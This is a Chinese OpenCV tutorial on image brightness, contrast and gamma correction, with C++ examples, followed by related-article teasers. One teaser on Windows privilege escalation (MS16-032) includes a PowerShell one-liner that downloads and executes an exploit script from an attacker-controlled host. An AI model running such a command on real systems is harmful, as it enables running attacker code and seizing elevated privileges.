图像的对比度和亮度

news2024/12/23 14:01:08

目标

  • 访问像素值
  • 用0来初始化矩阵
  • cv::saturate_cast
  • 像素转换
  • 提高一张图像的亮度

原理

图像处理

图像变换可以被视作两个步骤:

  • 点操纵(像素转换)
  • 相邻区域转换(以面积为基础)

像素转换

  • 在这种图像处理的转换过程中,每个输出的像素的值都取决于相对应的输入的像素的值。
  • 此类操作的示例包括亮度和对比度调整以及颜色校正和转换。

亮度和对比度的调整

  • 两种常用的点处理是带常数的乘法和加法:
    在这里插入图片描述
  • 参数α > 0 和 β 通常被叫做gainbias参数,该参数将被用来控制对比度和亮度。
  • 你可以简单地把f(x)当作原图像素,g(x)当作输出图像的像素,那么我们可以将表达式写成:
    在这里插入图片描述
    此处的i和j代表像素点的位置,i行j列

源码

#include "opencv2/imgcodecs.hpp"
#include "opencv2/highgui.hpp"
#include <iostream>
 
// we're NOT "using namespace std;" here, to avoid collisions between the beta variable and std::beta in c++17
using std::cin;
using std::cout;
using std::endl;
using namespace cv;
 
int main( int argc, char** argv )
{
// 加载图像
 CommandLineParser parser( argc, argv, "{@input | lena.jpg | input image}" );
 
 Mat image = imread( samples::findFile( parser.get<String>( "@input" ) ) );
 if( image.empty() )
 {
 	cout << "Could not open or find the image!\n" << endl;
 	cout << "Usage: " << argv[0] << " <Input image>" << endl;
 	return -1;
 }
 
 // 构建一个新的与原图相同(大小和类型)的像素为零的图像
 Mat new_image = Mat::zeros( image.size(), image.type() );
 
 // 获取参数 α和β
 double alpha = 1.0; /*< Simple contrast control */
 int beta = 0; /*< Simple brightness control */
 
 cout << " Basic Linear Transforms " << endl;
 cout << "-------------------------" << endl;
 cout << "* Enter the alpha value [1.0-3.0]: "; cin >> alpha;
 cout << "* Enter the beta value [0-100]: "; cin >> beta;
 
 // 遍历图像,应用线性变化
 // 需注意一个像素点有三个通道(B,G,R or 0, 1, 2)
 for( int y = 0; y < image.rows; y++ ) {
 	for( int x = 0; x < image.cols; x++ ) {
 		for( int c = 0; c < image.channels(); c++ ) {
 			new_image.at<Vec3b>(y,x)[c] =
 			saturate_cast<uchar>( alpha*image.at<Vec3b>(y,x)[c] + beta );
 		}
 	}
 }
 
 imshow("Original Image", image);
 imshow("New Image", new_image);
 
 waitKey();
 return 0;
}

此外,除了使用上述的for循环来遍历图片的每一个像素点,我们还可以使用cv::Mat::convertTo来实现,只是上述代码用来更加详细的展示其应用过程。

image.convertTo(new_image, -1, alpha, beta);

α和β参数

伽马矫正是另一个用来矫正图片亮度的技术。增加或减少β值将会为每一个像素增加或减少一个固定的常量值。像素值不在[0,255]范围内的将会被饱和,超过255的被压缩到255,小于0的被压缩到0。
浅灰色为原始图像的直方图,Gimp中亮度= 80时为深灰色
浅灰色为原始图像的直方图,Gimp中亮度= 80时为深灰色。(GIMP(GNU Image Manipulation Program)是一款自由和开源的图像编辑软件,用于图像的润色、编辑和制作。)

直方图表示每个颜色级别具有该颜色级别的像素数。深色图像会有许多低颜色值的像素,因此直方图会在其左侧呈现一个峰值。当添加恒定偏差时,直方图向右移动,因为我们已经向所有像素添加了恒定偏差。

α参数将会修改色阶分布的方式。如果α小于1,色阶将被压缩,结果将是一个对比度较低的图像。
在这里插入图片描述
浅灰色为原始图像的直方图,Gimp中对比度< 0时为深灰色。

请注意,这些直方图是使用Gimp软件中的亮度-对比度工具获得的。亮度工具应该与β偏置参数相同,但对比度工具似乎与α增益不同,其中输出范围似乎以Gimp为中心(正如您可以在前面的直方图中注意到的那样)。

简单来说,β和亮度相关,但在提高亮度的同时,对比度也会降低,图像会出现轻微的模糊。α增益可以用来通过调整对比度减少这种影响,但由于过于饱和,我们也可能失去一些原来明亮区域的细节。具体两个参数的值设置成多少要看具体需求。

伽马矫正

伽马矫正可以通过使用一个从输入的值到映射的输出值的非线性转换来矫正一个图像的亮度。如下所示:
在这里插入图片描述
由于联系的非线性,对于所有的像素的影响并不相同,且受限于其的原本的值。

在这里插入图片描述
当γ<1时,原本的黑暗区域将会变得更亮,直方图会向右平移,代表亮度的提高。这种情况适用于增强图像中暗处的细节。

当γ>1时,原本的明亮区域将会变得更暗,直方图会向左平移,代表亮度的减少。这种情况适用于则增强图像中亮部的细节或整体实现较暗的色调。

通过调整γ值,可以有效地根据需求来突出不同的特征。

实际的例子 link

举一个实际的例子,来矫正一个曝光不足的图片,参数为α=1.3,β=40
请添加图片描述
尽管整体亮度得到了提高,但是你仍然可以注意到,丢失了一些信息,比如图中的云,由于过度饱和失去了相应的细节。

当我们应用伽马矫正来进行相应的图片矫正,γ=0.4
请添加图片描述
由于映射是非线性的,并且不像以前的方法那样可能存在数值饱和,因此伽马校正能够添加较少的饱和效应,也就是说伽马矫正能够保留更多的细节,无论是原图中黑暗的区域还是明亮的区域。但是具体的γ值需要在使用中去实践。

在这里插入图片描述
上图比较了三个图像的直方图(三个直方图之间的y范围不相同)。您可以注意到,大多数像素值位于原始图像直方图的下部。校正后,我们可以在255处观察到一个大的峰值,这是由于饱和度以及右边的偏移。经过伽玛校正后,直方图向右偏移,但暗区像素比亮区像素偏移更大(见伽玛曲线图)。

代码部分

伽马矫正的代码如下:

 Mat lookUpTable(1, 256, CV_8U);
 uchar* p = lookUpTable.ptr();
 for( int i = 0; i < 256; ++i)
 	p[i] = saturate_cast<uchar>(pow(i / 255.0, gamma_) * 255.0);
 
 Mat res = img.clone();
 LUT(img, lookUpTable, res);

查询表被用来提高计算性能,伽马校正(LUT)的计算通常涉及到对每个像素进行幂运算,而查找表方法只需要预先计算出256个值,然后在实际处理图像时快速查找和应用这些预先计算的值,从而加快处理速度。

额外资源

  • CRT显示器上的伽玛校正和图像
  • 图形渲染中的伽马矫正
  • 数码曝光技术

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1831247.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【电子实验4】TDA2030功率放大电路

&#x1f6a9; WRITE IN FRONT &#x1f6a9; &#x1f50e; 介绍&#xff1a;"謓泽"正在路上朝着"攻城狮"方向"前进四" &#x1f50e;&#x1f3c5; 荣誉&#xff1a;2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2222年获评…

如何解决 torch.cuda.is_available()是False

目录 1. 问题2. 解决方法2.1 安装torch的CUDA版本2.1.1 查看安装的torch是什么版本2.1.2 下载GPU版本的torch 2.2 安装 NVIDIA CUDA2.2.1 下载CUDA Toolkit2.2.2 安装CUDA Toolkit 最终效果 1. 问题 在Python中&#xff0c;使用Pytorch时&#xff0c;往往会选择使用CUDA模块&a…

护眼灯对眼睛有伤害吗?千万要小心的行业四大弊端内幕

护眼灯&#xff0c;作为现代家居与办公环境中不可或缺的照明伴侣&#xff0c;因其普及性广受青睐。然而&#xff0c;随着大众对视觉健康意识的逐渐增强&#xff0c;一个疑问悄然滋生&#xff1a;护眼灯对眼睛有伤害吗&#xff1f;这一问题不仅触及到了人们对视觉健康的深层担忧…

【韩顺平零基础学java】第15章练习题

1 2. 使用方法 1.写方法 2.使用Test注解 3.点击左侧运行符号运行 3. User package com.hspedu.homework;/*** author 韩顺平* version 1.0* 该类包含&#xff1a;private成员变量&#xff08;int类型&#xff09; id&#xff0c;age&#xff1b;&#xff08;String 类型&…

grid布局的各项css说明

还有place-self,相当于justify-self与align-selft的复合属性 还有order

慎投!新增1本中科院1区顶刊被“On Hold”

本周投稿推荐 SSCI • 中科院2区&#xff0c;6.0-7.0&#xff08;录用友好&#xff09; EI • 各领域沾边均可&#xff08;2天录用&#xff09; CNKI • 7天录用-检索&#xff08;急录友好&#xff09; SCI&EI • 4区生物医学类&#xff0c;0.5-1.0&#xff08;录用…

集群初始配置

假设已经有三台或多台 Linux&#xff0c;可以是虚拟机或真实设备。如果希望使用这些 Linux 组成一个集群&#xff0c;并在上面运行一些分布式系统&#xff0c;可能需要如下操作。 1 设置静态IP 输入命令route -n打印路由表&#xff0c;可以查看网关地址。图形界面操作&#x…

压缩映射定理证明

收缩映射定理&#xff08;又称Banach不动点定理&#xff09;是一个重要的结果&#xff0c;特别是在分析和应用数学中。 定理&#xff08;收缩映射定理&#xff09;&#xff1a;假设是一个从度量空间 (X,d) 到自身的函数&#xff0c;如果 是一个收缩映射&#xff0c;即存在常数 …

SwitchHosts 简明教程

转载请标明出处&#xff1a;https://blog.csdn.net/donkor_/article/details/139743047 文章目录 一、SwitchHosts 是什么二、功能特性三、安装四、使用4.1 本地添加host4.2 本地127.0.0.1添加指定IP 五、修改 hosts 后不生效 一、SwitchHosts 是什么 SwitchHosts 是一个管理 …

领夹麦克风哪个品牌音质最好?轻揭无线麦克风哪个品牌性价比高!

​随着短视频热潮的兴起&#xff0c;越来越多的人倾向于用vlog记录日常生活&#xff0c;同时借助短视频和直播平台开辟了副业。在这一过程中&#xff0c;麦克风在近两年内迅速发展&#xff0c;从最初的简单收音功能演变为拥有多样款式和功能&#xff0c;以满足视频创作的需求。…

抢抓养生“新热点” 中华老字号“宝藏产品”上新

正在开展中的江苏省老字号“三进三促”活动暨第六届中国&#xff08;江苏&#xff09;老字号博览会上&#xff0c;苏州李良济等18家江苏新一批“中华老字号”获正式授牌。活动中&#xff0c;“老字号”紧扣“新热点”&#xff0c;着重推出一批创新养生产品。 本次博览会于6月14…

HarmonyOS【ArkUI组件--Button】

1.Button基本使用 2. 通过按钮实现图片放大缩小 在此博客的基础上继续编写&#xff1a; HarmonyOS【ArkUI组件--TextInput】-CSDN博客 ①关键代码如下&#xff1a; ②完整代码如下&#xff1a; import font from ohos.font Entry Component struct Index {State imageWidth:num…

Linux 通过日志快速定位错误必掌握命令

author: 放牛娃学编程 CSDN&#xff1a;放牛娃学编程 moto: 分享与热爱&#xff0c;不是大爱我不说 放牛娃每日一语: 你改变不了出生、但是你可以改变自己 如果你是开发、运维人员&#xff0c;那你一定要收藏这篇文章 因为这里你能学到AI永远也给不了你的知识 Linux 通过日志…

MES里面有质量模块,为什么还要实施质量管理软件(QMS)

为什么一些知名头部的大厂&#xff0c;已经有了MES , 却还都去实施了质量管理软件&#xff08;QMS&#xff09;? 答&#xff1a;是这些MES里面的质量模块不能满足客户的需求。 那么来看看&#xff0c;从质量管理的角度来看&#xff0c;QMS软件系统是什么样子的&#xff1f; …

用 微 / 积分思想妙解关于等比数列的和

同理&#xff0c;也是微积分思想&#xff1a; 求 (\sum_{k1}^n q^k) 的和&#xff1a; 我们知道几何级数的求和公式&#xff1a; ∑ k 0 n q k 1 − q n 1 1 − q (对于 q ≠ 1 ) \sum_{k0}^n q^k \frac{1-q^{n1}}{1-q} \quad \text{(对于 } q \neq 1\text{)} k0∑n​qk…

物联网主机E6000:智慧安防的核心动力

随着科技的不断进步&#xff0c;物联网&#xff08;IoT&#xff09;技术已经深入到我们生活的各个领域&#xff0c;尤其是在智慧安防领域&#xff0c;物联网技术的应用正变得越来越广泛。物联网主机E6000作为一款高性能的智能设备&#xff0c;其在智慧安防系统中扮演着至关重要…

2024年应届生就业比惨大赛,即将一触即发,FPGA方向怎么样?

2024年应届生就业比惨大赛&#xff0c;即将一触即发&#xff0c; 如果你不想榜上有名&#xff0c; 就看看小编为你薅遍HR老师总结出来的就业秘籍~ 电气类专业 张雪峰老师评价&#xff1a;新能源汽车、光伏、风电在风口&#xff0c;适合县级以下老家就业&#xff0c;对于大城…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

Cesium加载Mapbox自定义地图

Cesium 加载影像地图&#xff0c;一般都是天地图&#xff0c;高德地图&#xff0c;必应地图&#xff0c;谷歌地图等。 如果真实项目中想要自定义地图的风格样式&#xff0c;为了配合相应的页面UI风格&#xff0c;这些公共免费的影像地图就满足不了需求。 但是MapBox可以支持自…

python之日志(三)--将捕获的异常写入日志中

1.日志级别 import logging #日志模块 #默认下只会从第3级开始打印 logging.debug(DEBUG级别) #1级 logging.info(INFO级别) #2级 logging.warning(WARNING级别) #3级 logging.error(ERROR级别) #4级 logging.critical(CRITICAL级别) #5级 默认第1和第2级的日志不会打印 …